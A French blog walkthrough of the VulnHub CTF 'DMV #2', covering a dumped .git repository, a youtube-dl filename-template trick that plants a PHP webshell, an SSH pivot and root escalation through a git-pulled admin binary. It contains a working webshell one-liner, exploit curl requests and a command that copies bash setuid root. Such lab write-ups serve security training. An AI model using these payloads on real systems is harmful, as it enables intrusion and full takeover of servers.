Accueil Solution du CTF DMV #2 de VulnHub
Post
Annuler

Solution du CTF DMV #2 de VulnHub

Le CTF DMV: 2 était intéressant et original. Il m’a d’ailleurs donné du fil à retordre. L’auteur a trouvé quelques bonnes idées qui changent de d’habitude.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Nmap scan report for 192.168.56.68
Host is up (0.00045s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE      VERSION
22/tcp   open  ssh          OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 651bfc741039dfddd02df0531ceb6dec (RSA)
|   256 c42804a5c3b96a955a4d7a6e46e214db (ECDSA)
|_  256 ba07bbcd424af293d105d0b34cb1d9b1 (ED25519)
80/tcp   open  http         Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-git: 
|   192.168.56.68:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: DMV 2.0 
|     Remotes:
|_      ssh://developerdmv@127.0.0.1/home/developerdmv/site.git/
|_http-server-header: Apache/2.4.29 (Ubuntu)
4545/tcp open  worldscores?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL, RPCCheck: 
|     ========== Welcome to DMV Admin ==========
|     Select product to update:
|     Main site
|     Admin
|     other) Exit
|   GenericLines, GetRequest, HTTPOptions, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     ========== Welcome to DMV Admin ==========
|     Select product to update:
|     Main site
|     Admin
|     other) Exit
|_    Invalid choice

Ta mère elle va dumper

Je note la présence d’un dosier .git à la racine du site. Ni une ni deux je tente git-dumper: A tool to dump a git repository from a website mais ce dernier crashe.

Finalement j’aurais plus de succès avec GitDump: A pentesting tool that dumps the source code from .git even when the directory traversal is disabled qui est pourtant moins récent :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
$ python git-dump.py http://192.168.56.68/.git/
URL for test: http://192.168.56.68/.git/
Fetching: http://192.168.56.68/.git/index
Fetching: http://192.168.56.68/.git/FETCH_HEAD
Fetching: http://192.168.56.68/.git/HEAD
Fetching: http://192.168.56.68/.git/ORIG_HEAD
Fetching: http://192.168.56.68/.git/config
Fetching: http://192.168.56.68/.git/description
Fetching: http://192.168.56.68/.git/packed-refs
Fetching: http://192.168.56.68/.git/info/exclude
Fetching: http://192.168.56.68/.git/info/refs
Fetching: http://192.168.56.68/.git/logs/HEAD
Fetching: http://192.168.56.68/.git/logs/refs/heads/develop
Fetching: http://192.168.56.68/.git/logs/refs/heads/master
Fetching: http://192.168.56.68/.git/logs/refs/remotes/origin/develop
Fetching: http://192.168.56.68/.git/logs/refs/remotes/origin/step_develop
Fetching: http://192.168.56.68/.git/logs/refs/remotes/origin/master
Fetching: http://192.168.56.68/.git/logs/refs/remotes/github/master
Fetching: http://192.168.56.68/.git/refs/heads/develop
Fetching: http://192.168.56.68/.git/refs/remotes/origin/develop
Fetching: http://192.168.56.68/.git/refs/heads/master
Fetching: http://192.168.56.68/.git/refs/remotes/origin/step_develop
Fetching: http://192.168.56.68/.git/refs/remotes/github/master
Fetching: http://192.168.56.68/.git/objects/info/packs
Fetching: http://192.168.56.68/.git/refs/remotes/origin/master
Fetching: http://192.168.56.68/.git/refs/remotes/origin/HEAD
Parsing Index File
Fetching: http://192.168.56.68/.git/objects/47/b639702ccbb7cc5ce9c38556560b617e604fcd
Fetching: http://192.168.56.68/.git/objects/77/bb51c7a9c58ca7da8161b9cbcfb098c519ae09
Fetching: http://192.168.56.68/.git/objects/dc/29515021bb64943226019ef14cd0a9ce940907
Fetching: http://192.168.56.68/.git/objects/c7/8b76780fe411eb7786a15b99fc02c05cc1c1f5
Fetching: http://192.168.56.68/.git/objects/a5/5129286e6535d241fdcec8433f29915bcf2595
Fetching: http://192.168.56.68/.git/objects/3f/ec32c842751033d92c8967eba40c3911333a78
Fetching: http://192.168.56.68/.git/objects/5a/928f6da25ac6d6ba65480b76d03a71cb906138
Fetching: http://192.168.56.68/.git/objects/13/6beafb81ce4aa2b0b9225df70a4cd06f7e7940
Fetching: http://192.168.56.68/.git/objects/2a/89468d12d2133daa2354a9dd28cf52ae0548cd
Fetching: http://192.168.56.68/.git/objects/d3/4bb4259d9acb437d9f089aaa6f25343bb2611c
Fetching: http://192.168.56.68/.git/objects/00/00000000000000000000000000000000000000
Fetching: http://192.168.56.68/.git/objects/69/64f6c4d5750690695312138bdfa70338195d5a
Fetching: http://192.168.56.68/.git/objects/08/1b5357b1dffb3ff3f1a486907b6ff86207a6a8
Fetching: http://192.168.56.68/.git/objects/2a/e9352c194523e3fbdc50ade4bcd620162d9016
Fetching: http://192.168.56.68/.git/objects/9b/643e869b2f4d5257ae8dcb82f0d6276d6a28b5
Fetching: http://192.168.56.68/.git/objects/99/8441a9bf12a5c61126a38b9aa92f7bdb3fed41
Script Executed Successfully
Run following command to retrieve source code: cd output && git checkout -- .
$ cd output/
$ git checkout -- .
erreur : unable to read sha1 file of images/mp3-file.png (6964f6c4d5750690695312138bdfa70338195d5a)
erreur : unable to read sha1 file of images/youtube.png (2ae9352c194523e3fbdc50ade4bcd620162d9016)
erreur : unable to read sha1 file of js/jquery-3.5.0.min.js (47b639702ccbb7cc5ce9c38556560b617e604fcd)
erreur : unable to read sha1 file of js/main.js (9b643e869b2f4d5257ae8dcb82f0d6276d6a28b5)

J’ai aussi lancé en parallèle un Feroxbuster qui m’a trouvé plusieurs dossiers :

1
2
3
4
5
6
301        9l       28w      315c http://192.168.56.68/images
301        9l       28w      311c http://192.168.56.68/js
301        9l       28w      312c http://192.168.56.68/tmp
403        9l       28w      278c http://192.168.56.68/server-status
200       21l       61w      842c http://192.168.56.68/
403        9l       28w      278c http://192.168.56.68/tmp/downloads/

Grace au dump j’obtiens la page d’index PHP du site. Je ne mets pas la totalité du fichier ci-dessous mais le site ressemble comme deux goutes d’eau à celui du DMV #1.

La description du CTF mentionne quand même :

This time I am going to complicate things for you, I have fixed all the bugs and now my website is 100% secure, I challenge you to hack it

En effet on voit que le script récupère un paramètre yt_url sur lequel tous les caractères dangereux du bash sont proprement échappés :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php                                                                                                                  
                                                                                                                       
if(!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest' && $_SERVER['REQUEST_METHOD'] === 'POST')
{                                                                                                                      
   $yt_url = explode(" ", $_POST["yt_url"])[0];                                                                        
   $id = uniqid();                                                                                                     
   $filename = $id.".%(ext)s";                                                                                         
   $template = '/var/www/html/tmp/downloads/'. $filename;                                                              
   $string = ('youtube-dl --restrict-filenames --extract-audio --audio-format mp3 ' . escapeshellarg($yt_url) . ' -o ' . escapeshellarg($template));
                                                                                                                       
   $descriptorspec = array(                                                                                            
      0 => array("pipe", "r"),  // stdin                                                                               
      1 => array("pipe", "w"),  // stdout                                                                              
      2 => array("pipe", "w"),  // stderr                                                                              
   );                                                                                                                  
                                                                                                                       
   $process = proc_open($string, $descriptorspec, $pipes);                                                             
   $stdout = stream_get_contents($pipes[1]);                                                                           
   fclose($pipes[1]);                                                                                                  
   $stderr = stream_get_contents($pipes[2]);                                                                           
   fclose($pipes[2]);                                                                                                  
   $ret = proc_close($process);                                                                                        
   echo json_encode(array(                                                                                             
      'status' => $ret,                                                                                                
      'errors' => $stderr,                                                                                             
      'url_orginal'=>$yt_url,                                                                                          
      'output' => "",                                                                                                  
      'result_url'=> '/tmp/downloads/'.$id . '.mp3',                                                                   
   ));                                                                                                                 
   die();                                                                                                              
}                                                                                                                      
                                                                                                                       
?>

Text2Speech

Pour résumer le script fait (comme sur le précédent CTF) appel à youtube-downloader pour extraire le son d’une URL et écrire le résultat dans un fichier spécifié par l’option -o.

On ne dispose pas vraiment de contrôle sur le nom du fichier de sortie. La base du nom est généré aléatoirement et l’extension est vraiment bizarre. Il m’a fallut un moment avant de comprendre que c’était une notation spécifique à youtube-dl.

On a tout de même une vulnérabilité de SSRF mais les tentatives de spécifier un fichier local du système (avec file://) sont refusées par youtube-dl lui même.

J’ai installé youtube-dl pour faire des tests en local et le logiciel lit une URL, télécharge le fichier puis effectue une conversion à l’aide de ffmpeg. Je me suis rappelé que ffmpeg était touché par une vulnérabilité qui concernait la façon dont il gérait les fichiers de playlist au format m3u :

phdays ffmpeg - Google Slides

Il y a même un exploit ici :

GitHub - neex/ffmpeg-avi-m3u-xbin

Mais toutes les tentatives ont mené à l’échec.

Il semblait évident après plus de temps passé que tout tournait autour du template de nom %(ext)s qui applique un suffixe en fonction du type de fichier que le logiciel a détecté.

J’ai eu beaucoup de tentatives où youtube-dl refusait catégoriquement de traiter le fichier et d’autres où j’essayer de créer des fichiers hybrides de MP3 et de PHP mais j’obtenais systématiquement un fichier MP3.

Comme le logiciel émet d’abord une requête HTTP HEAD avant de faire un HTTP GET j’ai écrit à un moment un script qui affichait la méthode HTTP utilisée et j’ai été surpris de voir que… ça y est ! Il avait pris directement le suffixe .php.

Voici à quoi ressemblait mon script PHP :

1
2
3
4
<?php
echo $_SERVER['REQUEST_METHOD'];
echo '<?php system($_GET["cmd"]); ?>';
?>

Et l’exécution en local :

1
2
3
4
5
6
7
8
$ youtube-dl --restrict-filenames --extract-audio --audio-format=mp3  "http://192.168.56.1/getmethod.php" -o "yolo.%(ext)s"
[generic] getmethod: Requesting header
WARNING: Falling back on generic information extractor.
[generic] getmethod: Downloading webpage
WARNING: URL could be a direct video link, returning it as such.
[download] Destination: yolo.php
[download] 100% of 33.00B in 00:00
ERROR: WARNING: unable to obtain file audio codec with ffprobe

Maintenant il faut se servir de l’API du site pour reproduire l’explotation :

1
2
3
4
5
6
7
8
$ curl -H "X-REQUESTED-WITH: xmlhttprequest" -XPOST  --data 'yt_url=http://192.168.56.1/getmethod.php' http://192.168.56.68/
{
  "status":1,
  "errors":"WARNING: Falling back on generic information extractor.\nWARNING: URL could be a direct video link, returning it as such.\nERROR: WARNING: unable to obtain file audio codec with ffprobe\n",
  "url_orginal":"http:\/\/192.168.56.1\/getmethod.php",
  "output":"",
  "result_url":"\/tmp\/downloads\/6389b2b8581b0.mp3"
}

Comme le script a la gentilesse de nous fournir l’identifiant aléatoire j’ai retrouvé mon webshell à l’emplacement /tmp/downloads/6389b2b8581b0.php. Enfiiiiiiin !

git commit -m “exécute mon truc”

Je n’ai pas encore parlé du service custom sur le port 4545. Ce service offre deux choix, voici le comportement sur le premier :

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ncat 192.168.56.68 4545 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.56.68:4545.
========== Welcome to DMV Admin ==========
Select product to update:
1) Main site
2) DMV Admin
other) Exit
1
Output:
From ssh://127.0.0.1/home/developerdmv/site
 * branch            master     -> FETCH_HEAD
Already up to date.

On retiendra juste à ce stade qu’il y a certainement un compte utilisateur nommé developerdmv. Sur le second choix il semble se passer quelque chose mais rien n’apparait à l’affichage.

Dans tous les cas j’ai rappatrié un reverse-ssh pour upgrader vers un shell avec PTY :)

Situation étrange, déjà /var/www appartenait à www-data et non à root et deuxièmement le compte dispose d’une clé SSH :

1
2
3
4
5
6
7
www-data@dmv2:/var/www$ ls .ssh/        
total 20K
drwx------ 2 www-data www-data 4.0K Apr 28  2020 .
drwxr-xr-x 5 www-data www-data 4.0K Apr 28  2020 ..
-rw------- 1 www-data www-data 1.7K Apr 28  2020 id_rsa
-rw-r--r-- 1 www-data www-data  394 Apr 28  2020 id_rsa.pub
-rw-r--r-- 1 www-data www-data  222 Apr 28  2020 known_hosts

Si on ajoute à ça le fait que developerdmv dispose d’un fichier authorized_keys world-readable dans lequel on voit la mention de www-data :

1
2
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCujN4AdgBFwKUHGXoqxK9PzVqsLN0Be2V3aD8ks/09J66KdghB0/JWUefWz0P6WWdgMvD4O0FEPMJ/kt4y7qNLTvR2JJIkUWm0IzXH2Q2TZ7bApw33fmw9JYIw8KqLgu2j42HLkLE5iETdnP3sw5RMKSnl8q9jtWS7XxxP9hXr5LvTSgg3B7Dkua1sB544vtsYGypkgj1cHxitCZzu3IOTbpO6CT4Gq2lwAgIJq7FkXLyNeXz5eiWOLgj/+3BRkyTO+45CFIoRBH+bQ3suAI7vMHLt14/iDyVdlKSGJSXEfGAcPNgdU3XmWHCnZihK8X0LQwFTa9/kbKuiVv+/tcD/ www-data@dmv
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC53DHePvfofYjl8PY+Ow1kTCxorls9IvxJQnfGGaTP1zfRkeLj5YImgokzGYjn4QlksPoBxXVdIj2Fd6m3ofrX3S62JkPIlmOsbhZkTtexCM/2Y3p32G9nVo5kMpdeKdopQlcrBA+HteZXQEXwFgKdent2X+ttXZLy7WA9lnTmiGc8BIvwD9IBH7Hgmxmkc/FbxP6iTbe/aDu3/GzAlsfxXFjnhnfrvYKof44MKi+FzQeCON9nvzy1GTCgZd/VhnaJlI2LSevybk3jyqM8oSJy2kuv66naUWXiHnVhUT/MrKUn7dQsTnU+yNE2RO1xQMFFEYhi+s68jK1R2s3xERuD root@dmv

On en déduit qu’on peut passer developerdmv par une simple connexion SSH et c’est le cas :)

J’ai récupéré le premier flag :

1
flag{4e6ca045796244b1aadc36458dd48f3a}

Puis remarqué dans les process ce qui fait tourner le port 4545 :

1
2
root      8704  0.0  0.3  11668  3072 ?        Ss   Dec01   0:00 /bin/bash /etc/dmvservice.sh
root      8716  0.0  0.2 703808  2216 ?        Sl   Dec01   0:00 ./root/admin/admin

Le script bash est tout simple :

1
2
#!/bin/bash
chmod +x /root/admin/admin && ./root/admin/admin

Mais on ne dispose pas de droits suffisants pour aller analyser le binaire (ou script) admin.

Comme il fait vraisemblablement des appels externes j’ai lancé pspy: Monitor linux processes without root permissions sur le système pendant que je me connectais au port 4545 pour tester les deux choix.

Voici l’activité pour le premier choix :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
2022/12/02 13:10:44 CMD: UID=0    PID=12791  | /bin/bash -c cd /var/www/html/ && git checkout . && git pull origin master 
2022/12/02 13:10:44 CMD: UID=0    PID=12794  | git pull origin master 
2022/12/02 13:10:44 CMD: UID=0    PID=12796  | sshd: [accepted]     
2022/12/02 13:10:44 CMD: UID=0    PID=12795  | /usr/bin/ssh developerdmv@127.0.0.1 git-upload-pack '/home/developerdmv/site.git/' 
2022/12/02 13:10:44 CMD: UID=110  PID=12797  | sshd: [net]          
2022/12/02 13:10:45 CMD: UID=1000 PID=12799  | (sd-pam) 
2022/12/02 13:10:45 CMD: UID=1000 PID=12798  | /lib/systemd/systemd --user 
--- snip ---
2022/12/02 13:10:46 CMD: UID=0    PID=12884  | /bin/sh /usr/lib/update-notifier/update-motd-fsck-at-reboot 
2022/12/02 13:10:46 CMD: UID=0    PID=12886  | date +%s 
2022/12/02 13:10:46 CMD: UID=1000 PID=12890  | bash -c git-upload-pack '/home/developerdmv/site.git/' 
2022/12/02 13:10:46 CMD: UID=1000 PID=12889  | sshd: developerdmv@notty
2022/12/02 13:10:46 CMD: UID=1000 PID=12893  | /bin/kill -s 58 12798 
2022/12/02 13:10:46 CMD: UID=0    PID=12895  | /usr/lib/git-core/git merge FETCH_HEAD

Et ceci pour le second choix :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
2022/12/02 13:14:02 CMD: UID=0    PID=12900  | git checkout . 
2022/12/02 13:14:02 CMD: UID=0    PID=12899  | /bin/bash -c cd /root/admin/ && git checkout . && git pull origin master && systemctl restart dmvadmin 
2022/12/02 13:14:02 CMD: UID=0    PID=12903  | git pull origin master 
2022/12/02 13:14:02 CMD: UID=0    PID=12902  | git pull origin master 
2022/12/02 13:14:02 CMD: UID=0    PID=12904  | 
--- sip ---
2022/12/02 13:14:04 CMD: UID=0    PID=12997  | run-parts --lsbsysinit /etc/update-motd.d 
2022/12/02 13:14:04 CMD: UID=1000 PID=12998  | sshd: developerdmv   
2022/12/02 13:14:04 CMD: UID=1000 PID=12999  | git-upload-pack /home/developerdmv/admin.git/ 
2022/12/02 13:14:04 CMD: UID=0    PID=13000  | /usr/lib/git-core/git rev-list --objects --stdin --not --all --quiet 
2022/12/02 13:14:04 CMD: UID=0    PID=13003  | /usr/lib/git-core/git fetch --update-head-ok origin master 
2022/12/02 13:14:04 CMD: UID=0    PID=13004  | /usr/lib/git-core/git merge FETCH_HEAD 
2022/12/02 13:14:04 CMD: UID=0    PID=13017  | ./root/admin/admin 
2022/12/02 13:14:04 CMD: UID=0    PID=13015  | /lib/systemd/systemd-udevd 
--- snip ---
2022/12/02 13:14:04 CMD: UID=0    PID=13006  | /lib/systemd/systemd-udevd 
2022/12/02 13:14:04 CMD: UID=0    PID=13005  | /bin/bash /etc/dmvservice.sh

Or l’utilisateur developerdmv dispose de deux répos git dans son home :

1
2
drwxrwxr-x 7 developerdmv developerdmv 4096 Dec  2 15:07 admin.git
drwxrwxr-x 7 developerdmv developerdmv 4096 Apr 28  2020 site.git

On voit dans les activités précédentes qu’un git checkout de root semble provoquer l’accès à l’un des repository de developerdmv.

En particulier sur le second choix l’utilisateur checkout le project admin et ensuite exécute le binaire admin qui est présent à l’intérieur.

Je vais donc cloner le projet dans /tmp et jeter un œil à ce qui s’y trouve (dans /home/developerdmv/admin.git/ on ne voit pas les fichiers tels quels, juste les objets Git) :

1
2
3
4
5
6
7
8
9
10
11
12
13
developerdmv@mv2:/tmp$ git clone /home/developerdmv/admin.git/ admincopy
Cloning into 'admincopy'...
done.
developerdmv@dmv2:/tmp$ cd admincopy/
developerdmv@dmv2:/tmp/admincopy$ git status
On branch master
Your branch is up to date with 'origin/master'.

nothing to commit, working tree clean
developerdmv@dmv2:/tmp/admincopy$ ls
admin  go.mod  main.go
developerdmv@dmv2:/tmp/admincopy$ file admin
admin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

On dispose du code source du binaire dans main.go :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package main

import (
        "bufio"
        "fmt"
        "net"
        "os/exec"
        "strconv"
        "strings"
)

func execCommand(command string) ([]byte, error) {
        cmd := exec.Command("/bin/bash", "-c", command)
        return cmd.CombinedOutput()
}

func handleConnection(c net.Conn) {
        fmt.Printf("Serving %s\n", c.RemoteAddr().String())

        for {
                c.Write([]byte("========== Welcome to DMV Admin ==========\n"))
                c.Write([]byte("Select product to update:\n"))
                c.Write([]byte("1) Main site\n"))
                c.Write([]byte("2) DMV Admin\n"))
                c.Write([]byte("other) Exit\n"))
                netData, err := bufio.NewReader(c).ReadString('\n')
                if err != nil {
                        fmt.Println(err)
                        return
                }

                choice := strings.TrimSpace(string(netData))
                intChoice, err := strconv.Atoi(choice)
                if err != nil {
                        // handle error
                        c.Write([]byte("Invalid choice\n"))
                        break
                }

                var out []byte
                var cmdErr error

                switch intChoice {
                case 1:
                        out, cmdErr = execCommand("cd /var/www/html/ && git checkout . && git pull origin master")
                case 2:
                        out, cmdErr = execCommand("cd /root/admin/ && git checkout . && git pull origin master && systemctl restart dmvadmin")
                default:
                        c.Write([]byte("Invalid choice\n"))
                        break
                }
                if out != nil {
                        c.Write([]byte("Output:\n"))
                        c.Write(out)
                }

                if cmdErr != nil {
                        c.Write([]byte(fmt.Sprintf("Failed: %s\n", cmdErr)))
                }
        }
        c.Close()
}

func main() {
        port := ":4545"
        l, err := net.Listen("tcp", port)
        if err != nil {
                fmt.Println(err)
                return
        }
        defer l.Close()
        for {
                c, err := l.Accept()
                if err != nil {
                        fmt.Println(err)
                        return
                }
                go handleConnection(c)
        }
}

C’est le service qui écoute sur le port 4545. On remarque qu’après le checkout et pull il redémarre le service dmvadmin que voilà :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[Unit]
Description=DMV Admin Service
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=always
RestartSec=1
User=root
ExecStart=/bin/bash /etc/dmvservice.sh

[Install]
WantedBy=multi-user.target

Et le script shell mentionné exécute /root/admin/admin comme on l’a vu plus tôt.

Par conséquent je vais écraser le binaire admin dans le projet, le commit et push puis déclencher l’action en sélectionnant le choix 2 sur le port 4545 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
developerdmv@dmv2:/tmp/admincopy$ cp admin /tmp/admin_bak
developerdmv@dmv2:/tmp/admincopy$ echo -e '#!/bin/bash\ncp /bin/bash /tmp/\nchmod 4755 /tmp/bash' > admin
developerdmv@dmv2:/tmp/admincopy$ git status
On branch master
Your branch is up to date with 'origin/master'.

Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git checkout -- <file>..." to discard changes in working directory)

        modified:   admin

no changes added to commit (use "git add" and/or "git commit -a")
developerdmv@dmv2:/tmp/admincopy$ git add admin 
developerdmv@dmv2:/tmp/admincopy$ git commit -m "Hacking the Gibson"
[master 4a0c800] Hacking the Gibson
 1 file changed, 0 insertions(+), 0 deletions(-)
 rewrite admin (99%)
developerdmv@dmv2:/tmp/admincopy$ git push
Counting objects: 3, done.
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 348 bytes | 87.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0)
To /home/developerdmv/admin.git/
   d364a80..4a0c800  master -> master

Et ma version a bien été exécutée, m’offrant un binaire setuid root :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
developerdmv@dmv2:/tmp/admincopy$ ls /tmp/bash -al
-rwsr-xr-x 1 root root 1113504 Dec  2 15:09 /tmp/bash
developerdmv@dmv2:/tmp/admincopy$ /tmp/bash -p
bash-4.4# id
uid=1000(developerdmv) gid=1000(developerdmv) euid=0(root) groups=1000(developerdmv)
bash-4.4# cd /root
bash-4.4# ls
admin  root.txt
bash-4.4# cat root.txt
88888888ba,    88b           d88  8b           d8         ad888888b,  
88      `"8b   888b         d888  `8b         d8'        d8"     "88  
88        `8b  88`8b       d8'88   `8b       d8'                 a8P  
88         88  88 `8b     d8' 88    `8b     d8'               ,d8P"   
88         88  88  `8b   d8'  88     `8b   d8'  aaaaaaaa    a8P"      
88         8P  88   `8b d8'   88      `8b d8'   """"""""  a8P'        
88      .a8P   88    `888'    88       `888'             d8"          
88888888Y"'    88     `8'     88        `8'              88888888888  
                                                                      
====================================================================
                          Twitter: @over_jt
====================================================================

FLAG{a8ac60c0cfaf4617a7833c67e81d1512}

Publié le 2 décembre 2022

Cet article est sous licence CC BY 4.0 par l'auteur.